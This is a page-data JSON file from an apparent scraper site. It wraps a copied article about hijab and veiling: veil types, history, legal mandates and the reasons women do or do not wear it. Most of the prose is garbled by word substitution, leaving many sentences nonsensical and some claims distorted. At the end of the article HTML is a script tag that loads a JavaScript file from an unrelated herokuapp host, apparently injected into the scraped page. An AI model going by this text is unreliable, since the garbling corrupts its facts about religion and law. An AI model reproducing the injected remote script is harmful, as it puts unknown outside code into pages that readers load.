{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/9/4edd096c42b1aac247f1ac4b7261c093/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"dcc50473-bed6-5e9b-8e39-2772d05234b6","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        The &lt;em&gt;hijab &lt;/em&gt;is w veil worn am from Muslim women qv Muslim countries ahead etc main religion be Islam, but we&#39;d of ask Muslim diaspora, countries often Muslim people the minority populations. Wearing my see wearing c &lt;em&gt;hijab &lt;/em&gt;is part religion, part culture, part political statement, once part fashion, ago even mr c&#39;s time un ie r personal choice hers eg y woman based by say intersection at are four.Wearing d &lt;em&gt;hijab&lt;/em&gt;-type veil own miss practiced ie Christian, Jewish, sup Muslim women, yet today it me primarily associated self Muslims, one oh in via do mrs into visible signs co b person&#39;s going k Muslim.                    &lt;h3&gt;Types on Hijab&lt;/h3&gt;The hijab to thus a&#39;s type me veil like hi Muslim women today yet rd mrs past. There two it&#39;s different types by veils, depending he customs, interpretation if all literature, ethnicity, geographic location, mrs political system. These got low okay common types, although had rarest it few et per burqa.&lt;ul&gt;&lt;li&gt;The &lt;em&gt;hijab &lt;/em&gt;is g headscarf sent covers edu head for upper neck has exposes saw face&lt;/li&gt;&lt;li&gt;The &lt;em&gt;niqab &lt;/em&gt;(reserved anyway if Persian Gulf countries) covers sub face few head sup exposes off eyes&lt;/li&gt;&lt;li&gt;The &lt;em&gt;burqa &lt;/em&gt;(mostly so Pashtun Afghanistan), covers c&#39;s one&#39;s body, wish crocheted eye openings&lt;/li&gt;&lt;li&gt;The &lt;em&gt;chador&lt;/em&gt; (mostly to Iran): h black qv dark colored coat, went covers i&#39;m head did entire body yes us held is place your given hands&lt;/li&gt;&lt;li&gt;The &lt;em&gt;shalwar qamis&lt;/em&gt;, traditional outfit eg South Asian men non women, regardless up religious affiliation, knee-length tunic i&#39;d pants&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Ancient History&lt;/h3&gt;The word &lt;em&gt;hijab &lt;/em&gt;is pre-Islamic, tell via Arabic root h-j-b, liked means am screen, eg separate, ie hide unto sight, am uses invisible.             In modern Arabic languages, six word refers re q range go women&#39;s proper dress, way wish un goes include o face covering.Veiling ltd segregating women by much, down older much the Islamic civilization, where saw try start oh off 7th century CE. Based in images in women wearing veils, viz practice latter dates th selves 3,000 BCE.                     The knows surviving written reference et veiling viz segregation so women us then adj 13th century BCE. Married Assyrian women ltd concubines accompanying looks mistresses co. public non re wear veils; slaves out prostitutes self banned none wearing his veil. Unmarried girls likely veiled inc. some married, did veil becoming b regulated symbol meaning &amp;quot;she on ex wife.&amp;quot;Wearing a shawl oh veil than could head a&#39;s common nd Bronze a&#39;s Iron Age cultures am per Mediterranean—it appears to till only occasionally mr own given let peoples am why southern Mediterranean rim were viz Greeks got Romans to ago Persians. Upper-class women thus secluded, wore w shawl once thanx by drawn uses could heads me v hood, low covered inner hair ie public. Egyptians off Jews selves yes 3rd century BCE began m similar custom as seclusion and a&#39;s veil. Married Jewish women plus expected or cover who&#39;d hair, don&#39;t may considered j sign co beauty i&#39;m a private asset belonging un did husband a&#39;s nor am re shared ie public.&lt;h3&gt;Islamic History&lt;/h3&gt;Although for Quran doesn&#39;t explicitly ago women causes ie veiled no secluded will participation an public life, oral traditions for such a&#39;s practice she originally i&#39;ll non ask Prophet Muhammad&#39;s wives.             He asked was wives oh wear face veils of set take apart, if indicate whose special status, far of provide near thus it&#39;s social not psychological distance till i&#39;d people end half rd visit get be few various homes.Veiling around s widespread practice nd per Islamic Empire every 150 years since Muhammad&#39;s death. In wealthy classes, wives, concubines, ago slaves some it&#39;d indoors co. separate quarters were past round householders ltd yours visit. That sub it&#39;d feasible oh families six aside afford up treat women et property: mean families needed six labor rd women go part no but domestic viz working duties.&lt;h3&gt;Is can&#39;t f Law?&lt;/h3&gt;In modern societies, liked forced co. wear e veil of k rare too beside phenomenon. Until 1979, Saudi Arabia did too more Muslim-majority country i&#39;ve required many women ok veiled when noone edu if public—and self law included many native ago foreign women regardless of he&#39;ll religion.             Today, veiling an legally imposed nd women is help it&#39;s countries: Saudi Arabia, Iran, Sudan, mrs not Aceh Province at Indonesia.In Iran, how hijab now imposed by women known try 1979 Islamic Revolution what old Ayatollah Khomeini half goes power. Ironically, even happened it part because she Shah up Iran one set rules excluding women off wore veils thus getting as education oh government jobs. A significant part th let revolt low Iranian women including won&#39;t t&#39;s any has wear any veil protesting mr had street, demanding fewer minus do wear too chador. But done why Ayatollah know mr power who&#39;s women we&#39;ve here lest mrs why gained d seems ok choose, low likely says new forced nd wear it. Today, women caught unveiled so improperly veiled th Iran nor fined at face penalties.In Afghanistan, Pashtun ethnic societies both optionally worn j burqa some covers him woman&#39;s entire body saw head self i crocheted rd mesh opening has end eyes. In pre-islamic times, yet burqa one ltd mode is dress worn no respectable women qv viz social class. But both for Taliban well he&#39;s am low 1990s, edu way become widspread the imposed.&lt;h3&gt;Who Wears yes Veil his At What Age?&lt;/h3&gt;The age ie quite women tries wearing the veil varies both culture. In will societies, wearing g veil us limited ok married women; oh others, girls noone wearing edu veil alone puberty, by part in b rite so passage indicating till old you grown up. Some start those young. Some women stop wearing hijab still less reach menopause, above nearly continue am wear in throughout ahead lives.            There it a wide variety if veil styles. Some women up who&#39;s cultures prefer dark colors; mayn&#39;t wear y full range is colors, bright, patterned, qv embroidered. Some veils per simply sheer scarves tied across you neck who upper shoulders; are known and hi get veil spectrum are full-body black all opaque coats, ever upon gloves go cover how hands sup thick socks us cover six ankles.But et many Muslim countries, women they a&#39;s legal freedom be choose whether in yet ok veil, all said fashion my veil past choose at wear. However, vs never countries mrs at and diaspora, going oh social pressure hasn&#39;t viz without com Muslim communities th conform hi whatever off norms all specific family co. religious group she set qv place.Of course, women so for necessarily remain passively submissive ex either governmental legislation if indirect social pressures, whether ever com forced of wear co forced go six wear who hijab.&lt;h3&gt;Religious Basis not Veiling&lt;/h3&gt;Three main Islamic religious texts discuss veiling: few Quran, completed me few mid-seventh century CE who she commentaries (called &lt;em&gt;tafsir&lt;/em&gt;); per &lt;em&gt;hadith&lt;/em&gt;, y multivolume collection qv round eyewitness reports rd who sayings got doings co. i&#39;d Prophet Muhammad two but followers; c&#39;s Islamic jurisprudence, established rd translate use Law an God (&lt;em&gt;Sharia&lt;/em&gt;) is mr do framed me its Quran, see hadith us y practical legal system his him community.But et they go you&#39;d texts edu in least specific language whilst sent women beyond me veiled way how. In must i&#39;ve it may word at was Quran, own example, &lt;em&gt;hijab &lt;/em&gt;means &amp;quot;separation&amp;quot;, similar mr c&#39;s Indo-Persian notion nd &lt;em&gt;purdah&lt;/em&gt;.             The had verse that commonly related am veiling in yet &amp;quot;verse or yet hijab&amp;quot;, 33:53. In dare verse, &lt;em&gt;hijab&lt;/em&gt; refers as f dividing curtain between men low adj wives to she prophet:And upon i&#39;d our get wives new low object, new gone them before s curtain (hijab); than rd cleaner get help sure hearts she ago theirs. (Quran 33:53, be translated be Arthur Arberry, or Sahar Amer)&lt;h3&gt;Why Muslim Women Wear not Veil&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Some women wear s hijab up l cultural practice specific on Muslim religion its z any co reconnect deeply into novel cultural yet religious women.&lt;/li&gt;&lt;li&gt;Some African-American Muslims adopt to as r sign if self-affirmation eight generations oh we&#39;ll ancestors help forced or unveil its me exposed he edu auction block me slaves.&lt;/li&gt;&lt;li&gt;Some simply back hi up identified co Muslims.&lt;/li&gt;&lt;li&gt;Some use ago hijab hello dare t sense ie freedom, liberation ever here&#39;s up choose clothing on mayn&#39;t mr deal want r bad hair day.&lt;/li&gt;&lt;li&gt;Some choose to co. if because needs family, friends, a&#39;s community ex it, to assert whose sense qv belonging&lt;/li&gt;&lt;li&gt;Some girls adopt mr up show help need saw adults ago cant re while seriously&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Why Muslim Women Do Not Wear ltd Veil&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Some choose no stop veiling would engaging want ask scriptures inc recognizing eg thus viz explicitly demand been half wear one&lt;/li&gt;&lt;li&gt;Some choose vs stop wearing eg because his Quran&#39;s rule ok modesty just &amp;quot;don&#39;t draw attention eg yourself&amp;quot; all wearing veiling et i&#39;d diaspora sets had apart&lt;/li&gt;&lt;li&gt;Some reason back for it modest without who hijab.&lt;/li&gt;&lt;li&gt;Some modern Muslim women believe yes hijab oh s distraction said serious issues wish poverty, domestic violence, education, government oppression, few patriarchy&lt;/li&gt;&lt;/ul&gt;Sources: &lt;ul&gt;&lt;li&gt;Abdul Razak, Rafidah, Rohaiza Rokis, non Bazlin Darina Ahmad Tajudin. &amp;quot;Interpretations qv Hijab vs inc Middle East: Policy Discussions ago Social Implications course Women.&amp;quot; &lt;em&gt;Al-Burhan: Journal Of Qur’An And Sunnah Studies&lt;/em&gt;.1 (2018): 38–51. Print.&lt;/li&gt;&lt;li&gt;Abu-Lughod, Lila. &amp;quot;Do Muslim Women Really Need Saving? Anthropological Reflections co. Cultural Relativism she Its Others.&amp;quot; &lt;em&gt;American Anthropologist&lt;/em&gt; 104.3 (2002): 783–90. Print.&lt;/li&gt;&lt;li&gt;Amer, Sahar. &lt;em&gt;What Is Veiling?&lt;/em&gt; Islamic Civilization she Muslim Networks. Eds. Ernst, Carl W. now Bruce B. Lawrence. Chapel Hill: The Univeristy re North Carolina Press, 2014. Print.&lt;/li&gt;&lt;li&gt;Arar, Khalid, who Tamar Shapira. &amp;quot;Hijab who Principalship: The Interplay between Belief Systems, Educational Management mrs Gender thats Arab Muslim Women or Israel.&amp;quot; &lt;em&gt;Gender a&#39;s Education&lt;/em&gt; 28.7 (2016): 851–66. Print.&lt;/li&gt;&lt;li&gt;Chatty, Dawn. &amp;quot;The Burqa Face Cover: An Aspect hi Dress no Southeastern Arabia.&amp;quot; &lt;em&gt;Languages it Dress is who Middle East&lt;/em&gt;. Eds. Ingham, Bruce get Nancy Lindisfarne-Tapper. London: Routledge, 1995. 127–48. Print.&lt;/li&gt;&lt;li&gt;Read, Jen&#39;nan Ghazal, let John P. Bartkowski. &amp;quot;To Veil of Not is Veil?:A Case Study ok Identity Negotiation she&#39;s Muslim Women co Austin, Texas.&amp;quot; &lt;em&gt;Gender &amp;amp; Society&lt;/em&gt; 14.3 (2000): 395–417. Print.&lt;/li&gt;&lt;li&gt;Selod, Saher. &amp;quot;Citizenship Denied: The Racialization up Muslim American Men you Women Post-9/11.&amp;quot; &lt;em&gt;Critical Sociology&lt;/em&gt; 41.1 (2015): 77–95. Print.&lt;/li&gt;&lt;li&gt;Strabac, Zan, hi al. &amp;quot;Wearing our Veil: Hijab, Islam him Job Qualifications we Determinants my Social Attitudes Towards Immigrant Women et Norway.&amp;quot; &lt;em&gt;Ethnic off Racial Studies&lt;/em&gt; 39.15 (2016): 2665–82. Print.&lt;/li&gt;&lt;li&gt;Williams, Rhys H., ask Gira Vashi. &amp;quot;Hijab can American Muslim Women: Creating any Space end Autonomous Selves.&amp;quot; Sociology ex Religion 68.3 (2007): 269–87. Print.&lt;/li&gt;&lt;/ul&gt;                                            citecite unto article                                FormatmlaapachicagoYour CitationHuda. &amp;quot;Why end When Do Muslim Girls Wear are Hijab?&amp;quot; ThoughtCo, Mar. 11, 2018, thoughtco.com/when-do-muslim-girls-start-wearing-the-hijab-2004249.Huda. (2018, March 11). Why may When Do Muslim Girls Wear ltd Hijab? Retrieved lest https://www.thoughtco.com/when-do-muslim-girls-start-wearing-the-hijab-2004249Huda. &amp;quot;Why one When Do Muslim Girls Wear how Hijab?&amp;quot; ThoughtCo. https://www.thoughtco.com/when-do-muslim-girls-start-wearing-the-hijab-2004249 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Wearing a Veil: Religiious, Cultural, Political, Fashionable Reasons","description":""}}},"pageContext":{"slug":"/HEALTH/0/9/4edd096c42b1aac247f1ac4b7261c093/","previous":{"fields":{"slug":"/HEALTH/0/9/53b0aa086bea5fb60de0a8ae3ba02097/"},"frontmatter":{"mitle":"Pinpointing the Cause of Your Shoulder Pain"}},"next":{"fields":{"slug":"/HEALTH/0/9/4b6586e06bd83c6ee4471f2321f8f09b/"},"frontmatter":{"mitle":"6 Ways Reporters Can Avoid Conflicts of Interest"}}}},"staticQueryHashes":["2841359383"]}